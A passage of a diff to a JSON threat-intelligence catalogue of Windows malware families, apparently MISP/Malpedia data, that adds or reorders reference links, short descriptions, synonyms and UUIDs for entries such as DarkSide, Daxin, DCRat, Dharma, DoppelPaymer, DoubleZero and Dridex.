"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", "https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/", "https://www.acronis.com/en-us/articles/darkside-ransomware/", - "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", - "https://www.secjuice.com/blue-team-detection-darkside-ransomware/", + "https://www.databreaches.net/a-chat-with-darkside/", + "https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/", "https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html", - "https://community.riskiq.com/article/fdf74f23", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://brandefense.io/darkside-ransomware-analysis-report/", + "https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968", "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/", "https://blog.360totalsecurity.com/en/darksides-targeted-ransomware-analysis-report-for-critical-u-s-infrastructure-2/", "https://socprime.com/blog/affiliates-vs-hunters-fighting-the-darkside/", + "https://www.metabaseq.com/recursos/inside-darkside-the-ransomware-that-attacked-colonial-pipeline#", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://twitter.com/GelosSnake/status/1451465959894667275", "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", "https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html" ], @@ -15137,6 +18217,19 @@ "uuid": "fc91803f-610c-4ad5-ba0c-b78d65abc6db", "value": "Darktrack RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc", + "https://reaqta.com/2017/11/short-journey-darkvnc/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "302b2b26-9833-4da7-94f5-a7bd152ad40c", + "value": "DarkVNC" + }, { "description": "", "meta": { @@ -15192,14 +18285,36 @@ "uuid": "827490bf-19b8-4d14-83b3-7da67fbe436c", "value": "Datper" }, + { + "description": "Symantec describes this as a malware written as Windows kernel driver, used by China-linked threat actors. The malware has a custom TCP/IP stack and is capable of hijacking connections.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis", + "https://twitter.com/M_haggis/status/1498399791276912640", + "https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis", + "https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292", + "https://www.bleepingcomputer.com/news/security/chinese-cyberspies-target-govts-with-their-most-advanced-backdoor/", + "https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "63bf3200-5e7b-4e29-ba1c-6bf834c15459", + "value": "Daxin" + }, { "description": "This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader", - "https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html", "https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands", - "https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/" + "https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/", + "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", + "https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/", + "https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html" ], "synonyms": [ "ModiLoader", @@ -15215,10 +18330,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat", + "https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html", + "https://community.riskiq.com/article/50c77491", "https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html", - "https://www.youtube.com/watch?v=ElqmQDySy48" + "https://www.youtube.com/watch?v=ElqmQDySy48", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/", + "https://forensicitguy.github.io/snip3-crypter-dcrat-vbs/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and", + "https://cert.gov.ua/article/405538" ], "synonyms": [ "DarkCrystal RAT" @@ -15228,6 +18351,21 @@ "uuid": "b32ffb50-8ef1-4c78-a71a-bb23089b4de6", "value": "DCRat" }, + { + "description": "A ransomware as used by MosesStaff, built around the DiskCryptor tool.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dcsrv", + "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/" + ], + "synonyms": [ + "DCrSrv" + ], + "type": [] + }, + "uuid": "7b2609aa-fc3f-4693-a3f1-da4cac77490c", + "value": "DCSrv" + }, { "description": "", "meta": { @@ -15279,6 +18417,7 @@ "https://www.youtube.com/watch?v=qmCjtigVVR0", "https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf", "https://www.youtube.com/watch?v=Hhx9Q2i7zGo", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.youtube.com/watch?v=MRTdGUy1lfw", "https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s", "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", @@ -15314,6 +18453,19 @@ "uuid": "2bc6623a-d7d6-48fc-af79-647648f455aa", "value": "DeathRansom" }, + { + "description": "Ransomware written in Go.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf", + "https://blog.morphisec.com/decaf-ransomware-a-new-golang-threat-makes-its-appearance" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c70e97ea-73bb-4342-a8cd-6cbe0e589bec", + "value": "DECAF" + }, { "description": "", "meta": { @@ -15368,6 +18520,19 @@ "uuid": "bbc6dbe3-0ade-4b80-a1cb-c19e23ea8b88", "value": "Defray" }, + { + "description": "Described by Elastic as being associated with win.jupyter, and being used in the context of initial access, persistence, and C&C capabilities.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos", + "https://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e369e45e-0e92-4811-822e-5e598285465e", + "value": "Deimos" + }, { "description": "", "meta": { @@ -15539,25 +18704,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", + "https://news.sophos.com/en-us/2020/08/12/color-by-numbers-inside-a-dharma-ransomware-as-a-service-attack/", "https://securelist.com/cis-ransomware/104452/", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/dharma-ransomware-uses-av-tool-to-distract-from-malicious-activities/", "https://www.group-ib.com/media/iran-cybercriminals/", "https://cyberveille-sante.gouv.fr/cyberveille-sante/1821-france-retour-dexperience-suite-une-attaque-par-rancongiciel-contre-une", "https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/", + "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://www.acronis.com/en-us/articles/Dharma-ransomware/", "https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", "https://www.zscaler.com/blogs/security-research/ransomware-delivered-using-rdp-brute-force-attack", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://twitter.com/JakubKroustek/status/1087808550309675009", "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/" @@ -15601,10 +18773,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol", + "https://medium.com/walmartglobaltech/diavol-the-enigma-of-ransomware-1fd78ffda648", "https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/", + "https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday", + "https://www.ic3.gov/Media/News/2022/220120.pdf", "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "https://www.bleepingcomputer.com/news/security/diavol-ransomware-sample-shows-stronger-connection-to-trickbot-gang/", + "https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/", "https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/", "https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/" ], @@ -15659,9 +18838,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dirtymoe", - "https://decoded.avast.io/martinchlumecky/dirtymoe-3/", + "https://decoded.avast.io/martinchlumecky/dirtymoe-4/", + "https://decoded.avast.io/martinchlumecky/dirtymoe-5/", "https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/", - "https://decoded.avast.io/martinchlumecky/dirtymoe-1/" + "https://decoded.avast.io/martinchlumecky/dirtymoe-1/", + "https://decoded.avast.io/martinchlumecky/dirtymoe-3/", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html" ], "synonyms": [], "type": [] @@ -15701,26 +18883,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack", - "http://contagiodump.blogspot.com/2012/08/shamoon-or-disttracka-samples.html", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ad6f8259-2bb4-4f7f-b8e1-710b35a4cbed&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/", - "https://content.fireeye.com/m-trends/rpt-m-trends-2017", "http://www.vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware", - "https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", - "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/?adbsc=social68389776&adbid=804134348374970368&adbpl=tw&adbpr=4487645412", "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://securelist.com/shamoon-the-wiper-copycats-at-work/", - "https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", "https://www.codeandsec.com/Sophisticated-CyberWeapon-Shamoon-2-Malware-Analysis", - "https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/", + "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf", + "https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", + "https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", + "https://web.archive.org/web/20120818235442/https://www.symantec.com/connect/blogs/shamoon-attacks", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ad6f8259-2bb4-4f7f-b8e1-710b35a4cbed&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://content.fireeye.com/m-trends/rpt-m-trends-2017", + "https://securelist.com/shamoon-the-wiper-copycats-at-work/", "https://malwareindepth.com/shamoon-2012/", - "https://web.archive.org/web/20120818235442/https://www.symantec.com/connect/blogs/shamoon-attacks" + "http://contagiodump.blogspot.com/2012/08/shamoon-or-disttracka-samples.html", + "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/", + "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/?adbsc=social68389776&adbid=804134348374970368&adbpl=tw&adbpr=4487645412", + "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/" ], "synonyms": [ "Shamoon" @@ -15821,10 +19005,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnsmessenger", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/", + "https://blog.talosintelligence.com/2017/03/dnsmessenger.html", "https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html", - "https://blog.talosintelligence.com/2017/03/dnsmessenger.html" + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/" ], "synonyms": [ "TEXTMATE" @@ -15879,28 +19065,54 @@ "value": "DogHousePower" }, { - "description": "", + "description": "Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42).\r\nGithub: https://github.com/TheWover/donut", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.donut_injector", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", + "https://thewover.github.io/Introducing-Donut/" + ], + "synonyms": [ + "Donut" ], - "synonyms": [], "type": [] }, "uuid": "d713f337-b9c7-406d-88e4-3352b2523c73", "value": "donut_injector" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b91e1d34-cabd-404f-84d2-51a4f9840ffb", + "value": "DoorMe" + }, { "description": "DoppelDridex is a fork of Indrik Spider's Dridex malware. DoppelDridex has been run as a parallel operation to Dridex with a different malware versioning system, different RSA key, and with different infrastructure.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex", - "https://www.fortinet.com/blog/threat-research/new-dridex-variant-being-spread-by-crafted-excel-document?&web_view=true", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://www.proofpoint.com/us/blog/threat-insight/ta575-uses-squid-game-lures-distribute-dridex-malware", + "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", "https://redcanary.com/blog/grief-ransomware/", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", + "https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays", "https://security-soup.net/doppeldridex-delivered-via-slack-and-discord/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://cyber-anubis.github.io/malware%20analysis/dridex/", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.fortinet.com/blog/threat-research/new-dridex-variant-being-spread-by-crafted-excel-document?&web_view=true", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.0ffset.net/reverse-engineering/malware-analysis/dridex-veh-api-obfuscation/" ], "synonyms": [], "type": [] @@ -15915,30 +19127,38 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer", "https://www.bleepingcomputer.com/news/security/foxconn-electronics-giant-hit-by-ransomware-34-million-ransom/", "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", "https://sites.temple.edu/care/ci-rw-attacks/", "https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/", "https://techcrunch.com/2020/03/01/visser-breach/", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.zscaler.com/blogs/security-research/doppelpaymer-continues-cause-grief-through-rebranding", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://www.ic3.gov/Media/News/2020/201215-1.pdf", "https://twitter.com/vikas891/status/1385306823662587905", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", "https://apnews.com/article/virus-outbreak-elections-georgia-voting-2020-voting-c191f128b36d1c0334c9d0b173daa18c", "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", @@ -15949,12 +19169,13 @@ "https://www.secureworks.com/research/threat-profiles/gold-heron", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "https://www.trendmicro.com/en_us/research/21/a/an-overview-of-the-doppelpaymer-ransomware.html", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://redcanary.com/blog/grief-ransomware/", "https://twitter.com/AltShiftPrtScn/status/1385103712918642688", "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/", "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/", @@ -16032,7 +19253,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy", "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", - "https://twitter.com/Int2e_/status/1294565186939092994" + "https://twitter.com/Int2e_/status/1294565186939092994", + "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/" ], "synonyms": [ "VALIDATOR" @@ -16058,6 +19280,28 @@ "uuid": "32984744-c0f9-43f7-bfca-c3276248a4fa", "value": "DoublePulsar" }, + { + "description": "A wiper identified by CERT-UA on March 17th, written in C#.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublezero", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", + "https://www.splunk.com/en_us/blog/security/threat-update-doublezero-destructor.html", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-doublezero", + "https://cert.gov.ua/article/38088", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://blog.talosintelligence.com/2022/03/threat-advisory-doublezero.html", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7b4234ff-a7c2-4991-b4bf-6e13c57103cd", + "value": "DoubleZero" + }, { "description": "", "meta": { @@ -16096,7 +19340,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.downpaper", "https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf", - "http://www.clearskysec.com/charmingkitten/" + "http://www.clearskysec.com/charmingkitten/", + "https://www.infinitumit.com.tr/apt-35/" ], "synonyms": [], "type": [] @@ -16104,23 +19349,6 @@ "uuid": "227862fd-ae83-4e3d-bb69-cc1a45a13aed", "value": "DownPaper" }, - { - "description": "simple tool to facilitate download and persistence of a next-stage tool; collects system information and metadata probably in an attempt to tell sandbox-environments apart from real targets on the server-side; uses domains of search engines like Google to check for Internet connectivity; XOR-based string obfuscation with a 16-byte key", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.downrage", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://blog.yoroi.company/research/apt28-and-upcoming-elections-possible-interference-signals-part-ii/", - "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" - ], - "synonyms": [ - "GAMEFISH" - ], - "type": [] - }, - "uuid": "61ac2821-9512-40c0-b41f-19dd2ea14c74", - "value": "Downrage" - }, { "description": "", "meta": { @@ -16174,14 +19402,21 @@ "https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/", "https://securityintelligence.com/dridexs-cold-war-enter-atombombing/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://muha2xmad.github.io/unpacking/dridex/", "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", "https://home.treasury.gov/news/press-releases/sm845", + "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", "https://unit42.paloaltonetworks.com/travel-themed-phishing/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/", "https://twitter.com/TheDFIRReport/status/1356729371931860992", + "https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://assets.virustotal.com/reports/2021trends.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "https://twitter.com/Cryptolaemus1/status/1407135648528711680", "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", @@ 